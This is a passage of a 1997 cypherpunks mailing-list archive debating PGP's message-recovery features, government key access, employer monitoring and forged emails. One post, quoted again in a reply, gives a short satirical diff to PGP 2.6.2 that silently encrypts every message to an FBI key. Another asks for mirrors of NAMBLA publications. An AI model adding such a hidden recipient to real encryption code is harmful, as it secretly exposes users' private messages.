accidentally delete that important report.  Then the admin gets called
in again because Joe remembered he had another backup of it inside a
zip file, which he can't read because it's encrypted to his old key.


Key recovery would be simpler.  Just encrypt the private half of Joe's
key with the Admins key.  Leave it on Joe's disk, or chuck a copy in
the company safe.  Then when Joe has another memory lapse, the admin
can be done in 5mins.

That means that the company could now read stuff on Joe's disk.  PGP
Inc seems to view this prospect with horror as if it is a privacy
invasion.  But that's what CMR in pgp5.5 used for storage allows too.
I can't see that it makes much difference how the company gets access
-- they can read all the data either way.

(If Joe has some private files he can encrypt them with another
key.  A progressive crypto vendor would include facilities for
separate keys, some recoverable, some not.)

And frankly the company is in a much better to snoop through the
workstations files anyway; Joe's technically clueless, they own the
machine, they installed the software, they have access to the machine
when he's not there.

Not much you can do against that threat.

PGP sees that threat, and it's response is to implements CMR?  Somehow
it is ok to read data if the users key never gets revealed to the
company?  Can't see that it makes much difference personally, the data
is the interesting stuff, keys are just random numbers.

But at the same time with CMR for message recovery the recovery
information is being sent over the wire.  Now why would you want to
send recovery info over the wire?  To make the attacker's job easier?
Jeeze.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Sat, 25 Oct 1997 02:13:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: GMR in the talked-about form here would be unconstitutional
In-Reply-To: <v03102807b07688340782@[207.167.93.63]>
Message-ID: <slrn651o7h.1vk.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Tim May wrote:
>- a patient and doctor who discuss private medical conditions will be
>discussing them with the Thought Police
[...]
>Will a "must encrypt to government key" provision pass constitutional
>muster? I don't think so.

In common enviroments smartcards are used for the example above. Those
smartcards can be only obtained by TTPs, which generate the key pair and
press the secret part on the card. In several countries these TTP are
required to store these private keys for gouvernmental access.

Shure, it's constitutional. You will need a court order to read a special
message with the revealed secret key.

It does not harm, that policy may able to read all previous messages, if
they are stored, because this can't happen. The police is forbitten to do so.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 25 Oct 1997 09:25:05 +0800
To: cypherpunks@toad.com
Subject: NAMBLA embattled -- mirror sites?
Message-ID: <Pine.GSO.3.95.971024181115.26025B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Folks on f-c and cypherpunks have mirrored holocaust revisionist web
pages, banned books, and censored newspapers. Now I understand that NAMBLA
is in danger of losing its home on the web. Anyone up for mirroring the
(text-only)  publications of perhaps the world's most controversial
organization?

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: vcarlos35@juno.com
Date: Sat, 25 Oct 1997 07:16:53 +0800
To: cypherpunks@toad.com
Subject: The spoofers have gotten more sophistocated!
Message-ID: <19971024.185712.9070.0.vcarlos35@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



The people that have been spoofing Jason Bobier, Philip Zimmerman, and
Randall Framer
have recently become more sophistocated in their techniques. They started
with barely
disguised headers and moved to equally lame PGP signed messages (that
nobody in
their right mind would accept, since the public keys have NO TRUSTED
INTRODUCERS).
Next, they progressed to faking the server-bounce messages to avoid
giveaway headers. For example, they did a very good forgery of a email
message
supposedly coming from PGP, even included the "shival.pgp.com" and
"fusebox.pgp.com"
portions with correct IP addresses and all.
I have a feeling this problem will only get worse....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Fabulich <daniel.fabulich@yale.edu>
Date: Sat, 25 Oct 1997 07:16:08 +0800
To: cypherpunks@toad.com
Subject: Universal Piracy Service
Message-ID: <3.0.32.19971024190242.006962ac@dgf4.mail.yale.edu>
MIME-Version: 1.0
Content-Type: text/plain



While browsing I came across an announcement for the Eternity Service which
mentioned that Eric Hughes gave a talk at DEFCON IV regarding a "Universal
Piracy Network," but I couldn't find anything using web searches.  Does
someone have more information on this?


     -ACCEPT NO IMITATIONS-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 25 Oct 1997 07:23:32 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: PGP Employee on MKR
Message-ID: <199710242347.SAA26772@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 > at 05:38 PM, harka@nycmetro.com said:

 > The "just don't work for them if 'ya don't like it"-argument
 > will last about 4 weeks...the approximate time a human can
 > survive without eating. (or a couple of weeks less, if you have
 > kids)

 > I.e. unless you are the super-duper, three-times
 > nobel-prize-winner (with lots of money in stocks), who can
 > AFFORD to choose employers that freely, you will be DAMN GLAD to
 > have a job AT ALL, regardless of their policies!

 -=> Quoting In:whgiii@invweb.net to Harka <=-

 In> Sorry, your sloth and lack of ambition is no excuse to deny me
 In> my rights. An employer only owes you to what is agreed on when
 In> you enter into a contractual agreement of employment. For you
 In> clock punching 9 to 5'ers that means you show up to work, you
 In> do your work, and at the end of the week you get your check.
 In> You don't like the company, or their policies, or the color of
 In> the bosses tie, too bad don't let the door hit you in the ass
 In> on the way out.

In your excitement you might have misunderstood what I was trying to
say:

Implying, that the freedom of an (average) person does not get
infringed by (privacy-intrusive) policies "because they can always
choose a different company" is IMHO plainly incorrect and out of
day-to-day reality for most people.
(Also note, that I am not saying companies don't have the right to
have such policies)
The truth is, that even with proper (college and beyond) education
and sincere effort to make something happen for yourself, it takes
quite a bit to get to a point of being totally free to choose your
employer based on mere policies. And that will probably not change
for most people.

[glorious deeds deleted]

 In> The reason people like you are "DAMN GLAD to have a job AT
 In> ALL" is because you don't do anything to make yourself more
 In> marketable in the corporate world.

Do you really expect single mothers with 3 kids to have the time to
do it to the degree of being able to _freely choose_ their
employers?? Or even Joe Average, who just came out of College and
has $100 000 school-loan-debt?

My point being, that not everybody is in a position to make
themselves "more marketable" to the point of having companies
begging for you, even if they wanted to. And that applies to most
people. (Congrats to the fortunate exceptions.)

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... I have a byte, and I'm not afraid to use it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNFEsrTltEBIEF0MBAQGb+gf+KsL58w0CKuLLA1h2q62QNarQGjWzfi/u
zdgdoNE1+29VHt3wuJ1ybCp6fcTg0RPjXagDb/kwh5WMCSCice7KnFNx9SKdLuPn
/9/eRjjKyP+YWjM3zBILMRzf58HqNVy333CZRk7RtJcYt6e6aqlxrIh7T1F/ujMb
wYP9n+teDuy0dxh1i3n8354Kg99lfndDS5VTMPCBoS1TmSHbtIGdvmJpc00VuTiw
Kk3gJ0l53j4fC/hmWuXacqCypnCqh9M8s4j+6MzTY/tGcs2YJQuAeQ9gVzvSYBKf
Oi+lHYxd4rTBGALYf6SOk+k92YvIA8zP99w401So9v9rLYvf7V9+yA==
=H2nX
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 03:09:52 +0800
To: tcmay@got.net
Subject: unconstitutional? try this variant...(Re: GMR in the talked-about form here would be unconstitutional)
In-Reply-To: <v03102807b07688340782@[207.167.93.63]>
Message-ID: <199710241843.TAA05546@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> I agree that draconian crypto laws are afoot, but I don't discount the
> power of constitutional challenges.
> 
> So long as the First and Fourth (and the Fifth may apply, too) Amendments
> remain in force, compelling a person to speak in certain ways and
> monitoring what he says privately without a proper court order is
> unconstitutional.
> 
> At least the convoluted stuff in Clipper about "LEAF" fields, splitting of
> keys between agencies, proper court orders, etc., had the "fig LEAF" of
> protecting some basic constitutional rights. A straight "encrypt to the
> government's key" is too crude to withstand any court scrutiny.

The Clipper set up claimed to have split databases.

I wonder.  Secret splitting is being described as a possibility for
pgp6.0.

Perhaps they'll use:

	thoughtpolice1@nsa.gov
	thoughtpolice2@nsa.gov

as the two half GMR fields.  And they'll promise not to combine the
two halves without a court order (except for national security
purposes, of course).  Naturally a court would never violate lawyer
client confidentiality, etc., so they might argue this was
constitutionally ok.

> I'm obviously not a lawyer, let alone a constitutional scholar, but I think
> I'm solid footing here.  A crude, blanket order to include the government
> in all communications would absolutely be struck down as a chilling of
> speech (political or otherwise) and as an unlawful search and seizure of
> one's papers.

An example of a somewhat analogous setup was the digital telephony
wiretapping order.  That was passed.  Not struck down yet (though
floundering because it cost way more money than the Feds claimed it
would).

What about lawyer client confidentiality over telephone?  They would
argue I suppose that you had insufficient expectation of privacy?

Perhaps they would use similar arguments to say that it's not a
problem for the same access to emails.


And anyway, since when has unconstitutionality meant anything to
politicians, law enforcement agents, and spooks.  What about guns,
hmm.  That one was clear enough in the constitution if anything ever
was, and yet the USG is slowly headed the same way as the UK
government.

CDA got struck down which was good, but unconstitutionality doesn't
seem to be adequate protection.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 03:12:03 +0800
To: FisherM@exch1.indy.tce.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <2328C77FF9F2D011AE970000F84104A74933D0@indyexch_fddi.indy.tce.com>
Message-ID: <199710241853.TAA05556@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fisher Mark <FisherM@exch1.indy.tce.com> writes:
> Mark Grant <mark@unicorn.com> writes:
> >Yes, but PGP WANT TO BUILD THIS INTO EVERY SYSTEM THEY SELL!!!!! I
> >don't care that any Perl hacker can write a script which builds CMR 
> >into PGP 2.6.2, because those scripts are restricted to those who 
> >wish to use them. PGP ARE BUILDING THE FUNCTIONALITY INTO EVERY 
> >PRODUCT THEY SELL!!!!
> 
> But the changes to add GAK/GMR/CMR to PGP (or any other crypto product
> that permits multiple recipients) are close to trivial.  Don't be fooled
> into thinking that if PGP takes this "feature" out (can't be a bug --
> it's documented :) that that will make it a lot harder to add that
> feature back in once the appropriate laws are passed.

Adding the feature clearly will be easy.  But persuading the people
using the non-CMR enabled software base to downgrade will be a big
problem.  I wonder how many people will still using old versions years
later.  There is a huge inertia to not upgrade that frequently.
People don't like upgrading, companies don't like upgrading, it costs
time, money, it's unwanted hassle.  

I'm guilty of this myself in some areas.  `do fix what isn't broken'.
Eg I'm using an ancient beta Xfree86, and hacking around the expiry
simply because I can't be bothered to download and install the next
version.

At dcs.exeter the admins were _way_ behind.  I had netscape2, and then
3 installed for myself and friends to use, while they were still
trundling along with an antique NCSA Mosaic beta version or something.
I had gcc-273 installed in my own filespace and they had gcc-258 or
something (it matters if you're using templates.. the old ones are
more broken).

> Still, in retrospect, PGP's engineers and scientists should have
> thought about all the security implications of CMR -- they might
> have implemented CDR to begin with.

You would've thought, yes.  Even from a security point of view,
forgetting political arguments CDR is better.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 03:22:28 +0800
To: rfarmer@HiWAAY.net
Subject: forgery quality (Re: PRZ Announcement)
In-Reply-To: <v03007802b07692bd74f3@[205.180.136.41]>
Message-ID: <199710241900.UAA05563@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Damn, but Toto's improving with those forgeries... I'm not at all
expert on forgeries, but usually you can spot Toto's because it says

: X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)

in the headers, other tell tales signs being headers with
sk.sympatico.ca in the header such as this:

: Received: from default (orenco30.sk.sympatico.ca [142.165.99.30]) by
: wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id SAA28139 for
: <cypherpunks@toad.com>; Thu, 23 Oct 1997 18:33:57 -0600 (CST)

But this one, can anyone see anything wrong with this... no sympatico,
no X-Mailer: Mozilla 3.01C-SYMPA (Win95; U), someone knows how to
forge well, or PRZ has developed a sense of humor about this CMR
business.

Full headers follow.

Adam

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References: <344FEE15.673F@pgp.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 24 Oct 1997 11:02:22 -0700
To: Randall Farmer <rfarmer@HiWAAY.net>
From: Philip Zimmermann <prz@pgp.com>
Subject: Re: PRZ Announcement
Cc: cypherpunks@toad.com, coderpunks@toad.com
Sender: owner-cypherpunks@Algebra.COM
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Status: R


My name is spelled Philip, not Phillip.  --prz





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 08:51:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: CMR versus GAK? (fwd) > Right to monitor (fwd)
Message-ID: <199710250103.UAA26983@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
> Subject: Re: CMR versus GAK? (fwd) > Right to monitor
> Date: 24 Oct 1997 14:01:04 GMT

> >Does the owner of a resource have an inherent right to control that
> >resource and if so what are the boundaries?
> 
> He has this right until he touchs the rights of other people. So he have not
> all rights he might want.
> 
> >Does the user of a resource have rights outside the purvue of the owner
> >of that resource and if so what are the boundaries?
> 
> Do you own your house? If not, why do you stop your house owner from
> snooping in your flat? It's his ressource. Why do you encrypt e-mails over
> your provider's lines? It's his ressource.
> 
> If privacy is outlawed in offices, nobody can work legally.

If this is the best argument and explanation of them you can muster then
quit now.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Sat, 25 Oct 1997 04:15:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: GAK on the cheap
In-Reply-To: <199710241855.UAA11936@basement.replay.com>
Message-ID: <slrn651vp6.27i.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Anonymous wrote:
>Here's a patch to PGP 2.6.2 to force it to encrypt all messages to the
>FBI key.

Generate your PGP 5.5 key with an optional (sic!) recovery key the FBI. I'm
pretty sure, PGP 5.0 will encrypt to both without asking you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 08:56:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: CMR versus GAK? (fwd) > Right to monitor (fwd)
Message-ID: <199710250107.UAA27027@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Fri, 24 Oct 97 09:00:38 -0500
> Subject: Re: CMR versus GAK? (fwd) > Right to monitor

> >The bottem line is:
> 
> >Does the owner of a resource have an inherent right to control that
> >resource and if so what are the boundaries?
> 
> Yes, and the boundaries should be very few. Things like just because you
> own a hammer doesn't give you the right to hit people over the head. But
> as far as setting policies on how a resource can be used and what
> conditions must be met before using them it should be without limit. If
> you don't like it the don't use it and go get your own.

But what are the boundaries? How do you tell when a particular action has
crossed them?

> >Does the user of a resource have rights outside the purvue of the owner
> >of that resource and if so what are the boundaries?
> 
> No they do not. If the user of a resource does not like the conditions set
> by the owner for the use of that resource then they should not use it.

They don't? What if the resource is a requirement for a normal life?
Is simple ownership a license to steal or abuse? How do you even describe
them in a general sense? What if the owner of a resource decides to change
the fair use policy? Shouldn't the user have a say in what those conditions
are? Is simply agreeing to be a user of a resource license for the owner to
use that dependency to manipulate the user?

No, your answers are better than the other persons but not by much.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 25 Oct 1997 11:55:51 +0800
To: cypherpunks@toad.com
Subject: Office of the Secretary of Defense vs the First Amendment
Message-ID: <Pine.GSO.3.95.971024204540.26025u-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 10 Oct 1997 16:07:23 +0000
From: "Glen L. Roberts" <glr@glr.com>
To: declan@well.com, noah@pathfinder.com
Subject: Office of the Secretary of Defense vs the First Amendment


From: Glen L. Roberts, PO Box 1533, Oil City, PA 16301
      (814) 676-2345

re:   Office of the Secretary of Defense
                       vs
      The First Amendment


Attn: Seema Singh


Dear Senator Arlen Spector:

I am in receipt of correspondence from the Office of the Secretary of
Defense, dated October 7, 1997. (Copy attached) They appear to be
asking me to stop quoting certain parts of the U.S. Congressional
Record.

Obviously, citizens of the United States have a First Amendment right,
if not an obligation, to express their opinions on matters relating to
the operation of the Government. The DoD, it would appear, is
requesting that I not express my opinions, when such expressions
include certain portions of the Congressional Record, or that I
"excise" my commentary to help cover up their mis-deads. Does the
First Amendment give me the right to express my views, or to express
my views only in accordance with the desires of the DoD?

I can understand the concern and embarassment the DoD may feel by my
highlighting certain portions of the Congressional Record and taking
issue with them. However, I would think that for any government
accountibility to take place, such commentaries are not only proper,
but also a necessity. The First Amendment clearly setsforth my right
to take issue with governmental polices and actions. I do not think it
is within the proper bounds of the DoD to suggest how I may express
myself, or what words might be appropriate or inappropriate to use in
such expressions.

If I were to read between the lines, I would conclude that the DoD is
attempting to place the burden of their improper activities upon my
shoulders. That is, if I stop reprinting the Congressional Record; no
one will understand the problem and it will go away! Completely
disregarding the public nature and purpose of the Congressional
Record. For if I cannot freely quote from the Congressional Record,
why has the Library of Congress moved to increase public availablity
and access to it: "Acting under the directive of the leadership of the
104th Congress to make Federal legislative information freely
available to the Internet public, a Library of Congress team brought
the THOMAS World Wide Web system online in January 1995, at the
inception of the 104th Congress."

There are a number of possible ways that the DoD might seek to resolve
the underlying problems of which I have brought attention to on my web
pages, radio broadcasts and publications. I fail to understand how
adjusting my commentary to meet the desires of the DoD will correct a
stupid mistake they made years ago, and continued for years.
Eliminating the attention will serve only to cover up and avoid any
resolution of the problem.

I request your assistance in supporting my First Amendment rights.


-------------------------
(any typeos in the following are mine)

Office of the Secretary of Defense
1950 Defense Pentagon
Washington DC 202301-1950

Adminstration
& Management

Octover 7, 1997

Mr. Glen L. Roberts
P.O. Box 1533
Oil City, PA 16301

Dear Mr. Roberts:

This Department has taken the position in a wide variety of contexts
that disclosure of the social security number constitutes a clearly
unwarranted invasion of an individual's personal privacy. Therefore,
the Department is as concerned as you are regarding the public
availablity of the SSN and strongly believes that the general public
should not have access to such numbers.

As you have said, teh Department no longer provides the full social
security number to Congress because we recognized and correct what was
then a problem. Unfortunately, the numbers currently exact in print
and at public websites. But this fact does not mean that we should not
minimize, when possible, the proliferation of such lists. Although
your apparent goal to obtain greater privacy protection for the
individual is certainly laudable, publishing consolidated listings on
your website perpetrates and exaverbates the very problem you are
attemping to address. Put differently, such publications disregards
the very privacy interests you are seeking to protect. Though the
lists are available elsewhere, you are making it much simpler to find
them because the other sites are not always easy to locate.

Therefore, consideration should be given to the deletion of the lists,
or in the alternative, excision of the SSN, from your webpage. Either
action on your part will demonstrate, not only by word, but by deed, a
sensitivity that others have ignored, in that, you have elected to
pursure an approach where your advocacy requirements have been
balanced against the privacy interests of the individual.

Sincerely,

//s//

Aurello Nepa, Jr.
Director
Defense Privacy Office








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Sat, 25 Oct 1997 03:30:34 +0800
To: cypherpunks@cyberpass.net
Subject: GAK on the cheap
Message-ID: <199710241855.UAA11936@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



GAK fans!

Here's a patch to PGP 2.6.2 to force it to encrypt all messages to the
FBI key.

Patch crypto.c thusly:

2339a2340
>       ++i;            /* Count FBI key */
2368a2370,2372
>       /* encrypt to FBI */
>       keys_used = encryptkeyintofile(g, "<leaf@fbi.gov>", keybuf, keyfile,
>                                       ckp_length, keys_used);

That's it.  Four new lines, and every message is encrypted to the
government as an additional recipient.

Don't let the FBI see this.  If so, we'll be <ominous voice> "one step from
GAK".  Add a few SMTP filters and we're doomed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 06:36:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: GAK on the cheap
In-Reply-To: <199710241855.UAA11936@basement.replay.com>
Message-ID: <199710242007.VAA06753@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> GAK fans!
> 
> Here's a patch to PGP 2.6.2 to force it to encrypt all messages to the
> FBI key.
> 
> Patch crypto.c thusly:
> 
> 2339a2340
> >       ++i;            /* Count FBI key */
> 2368a2370,2372
> >       /* encrypt to FBI */
> >       keys_used = encryptkeyintofile(g, "<leaf@fbi.gov>", keybuf, keyfile,
> >                                       ckp_length, keys_used);
> 
> That's it.  Four new lines, and every message is encrypted to the
> government as an additional recipient.

Wow, anonymous, you're a genius!

> Don't let the FBI see this.  If so, we'll be <ominous voice> "one
> step from GAK".  Add a few SMTP filters and we're doomed.

Errr.. there is one problem anonymous, _deployment_.  How are you
going to deploy the above patch.  Who is going to use it?

Close to zero I suspect.

However there are simply loads of people using pgp5.0, and I'm sure
pgp5.5 will be the same in a while.

It's not the triviality of making something that can be used for GAK
that the argument is about.

The argument is about PGP Inc pre-deploying it in 5.0, 5.5 all ready
for the switch to be flicked.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 09:43:18 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: New Trial in Germany over web site [CNN]
Message-ID: <199710250208.VAA27336@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                       NEW TRIAL IN GERMANY OVER WEB SITE
>                                        
>      graphic October 24, 1997
>      Web posted at: 8:08 p.m. EDT (0008 GMT)
>      
>      BERLIN (Reuters) -- A left-wing German politician acquitted in June
>      of supporting guerrilla acts with information linked to her Web site
>      appeared in court again on Friday on new charges emerging from her
>      first trial.
>      
>      Angela Marquardt, 26, former deputy leader of Germany's reform
>      communist Party of Democratic Socialism (PDS), was this time accused
>      of having illegally published the charge sheet of her first trial.
>      
>      The latest proceedings were adjourned after a witness failed to
>      appear in court.
>      
>      "This is a farce," Marquardt told reporters. She said she had only
>      shown the charge sheet to a few friends.
>      
>      No date was given for the restart of the new trial.
>      
>      A Berlin court ruled earlier this year that Marquardt could not be
>      held responsible for the contents of an Internet-based magazine
>      showing anti-nuclear activists how to sabotage railway lines,
>      despite it being accessible from her "home page."
>      
>      Internet users set up home pages as ways of displaying information
>      and communicating with other users. Home page users can use
>      "hyperlinks" to make other pages accessible from their site.
>      
>      The court ruled that Marquardt had set up a hyperlink to the
>      magazine page before the details on sabotage methods were published
>      and did not have any knowledge of their publication.
>      
>      Copyright 1997 Reuters Limited. All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 09:43:39 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Hackers crack NYC subway signs [CNN]
Message-ID: <199710250209.VAA27368@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>         COMPUTER HACKERS BREAK INTO NYC SUBWAY ELECTRONIC MESSAGE SIGNS
>                                        
>    AP
>    23-OCT-97
>    
>    
>    NEW YORK (AP) Electronic signs telling subway riders to "Watch your
>    step" and "Have a great day" were flashing confusing messages Thursday
>    in what authorities said was the work of computer hackers.
>    
>    The signs at a Manhattan subway station briefly displayed the message,
>    "Volume Fourteen, Number Three," and "The Hacker Quarterly."
>    
>    "The Hacker Quarterly" is a Long Island-based magazine that chronicles
>    the activities of computer hackers. It was not clear what the message
>    was meant to convey.
>    
>    Editor Emmanuel Goldstein said he knew nothing of the incident. "I
>    hope nobody was confused and thought it came from us," said Goldstein,
>    whose magazine offers tips on hacking into computer systems but does
>    not condone destructive behavior.
>    
>    The electronic signs have been invaded before, said Julio Lussardi, a
>    Transit superintendent.
>    
>    "It's more of a nuisance than anything else," Lussardi said.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 09:46:12 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Internet drives productivity [CNN]
Message-ID: <199710250209.VAA27412@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                   INTERNET TO RELENTLESSLY DRIVE PRODUCTIVITY
>                                        
>    Reuters
>    24-OCT-97
>    
>    
>    By Neil Winton, Science and Technology Corresdpondent LONDON, Oct 24
>    (Reuters) - Information technology is being lauded as the surprise
>    provider of ever increasing wealth without inflation.
>    
>    Economists in the United States are scratching their heads to solve a
>    problem which the busineses schools suggested was impossible.
>    
>    How is the U.S. economy still powering ahead in top gear with low
>    unemployment without incurring inflation?
>    
>    Information technology is getting the credit, but productivity gains
>    notched up from the use of computers have been overlooked by
>    government statistics.
>    
>    As the Internet age gathers momentum companies around the world will
>    be able to slash costs and gain access to markets which would have
>    been impossibly expensive before.
>    
>    Last week Federal Reserve Chairman Alan Greenspan said real
>    productivity gains associated with computers and telecommunications
>    may not have been fully realised yet.
>    
>    Information technology experts agree. ``The Internet makes smaller and
>    remote companies look big and next door,'' said Bill Rosser, research
>    director at the information technology consultancy Gartner Group in
>    Stamford, Connecticut.
>    
>    ``You can put up your website and your products and bring a presence
>    to a much broader market. Because of its rich delivery capacity a
>    small company in Lichtenstein can win business from General Motors,''
>    Rosser said.
>    
>    ECONOMIC IMPACT DIFFICULT TO PINPOINT
>    
>    The economic impact of information technology is undoubted, but
>    difficult to pinpoint.
>    
>    The problem for economists is how to accurately measure output and
>    productivity in service industries such as banking, law firms,
>    software and services companies generally, which account for an ever
>    increasing percentage of the U.S. and other wealthy economies.
>    
>    It was relatively easy to add up the number of widgets produced and
>    divide the cost by the number of workers employed, but it's not so
>    easy to measure the impact of information technology.
>    
>    ``It's hard for economists to figure this out. I think it's really
>    based on problems with measuring how companies use IT to reduce the
>    number of people needed to do certain tasks,'' said Eilif Trondsen,
>    research director at consultants SRI International in Menlo Park,
>    California.
>    
>    ``Companies like GE (General Electric Co ), and Cisco Systems Inc are
>    finding ways of doing things with a fraction of the people they used
>    to need, using the Internet,'' Trondsen said.
>    
>    GE is one of the U.S.'s biggest companies with major businesses in
>    power generators, appliances, lighting, plastics, medical systems,
>    aircraft engines, financial services and broadcasting. GE earned net
>    profits of $7.28 billion in 1996. Revenues were $79.2 billion.
>    
>    Cisco provides the ubiquitous equipment which links computers across
>    telephone lines over the Internet, pumping electronic mail and digital
>    data around the world. Last year revenues jumped 80 percent to around
>    $4 billion.
>    
>    Bob Chatham, senior analyst at technology researcher Forrester in
>    Cambridge, Massachusetts, points to novel ways that costs can be cut
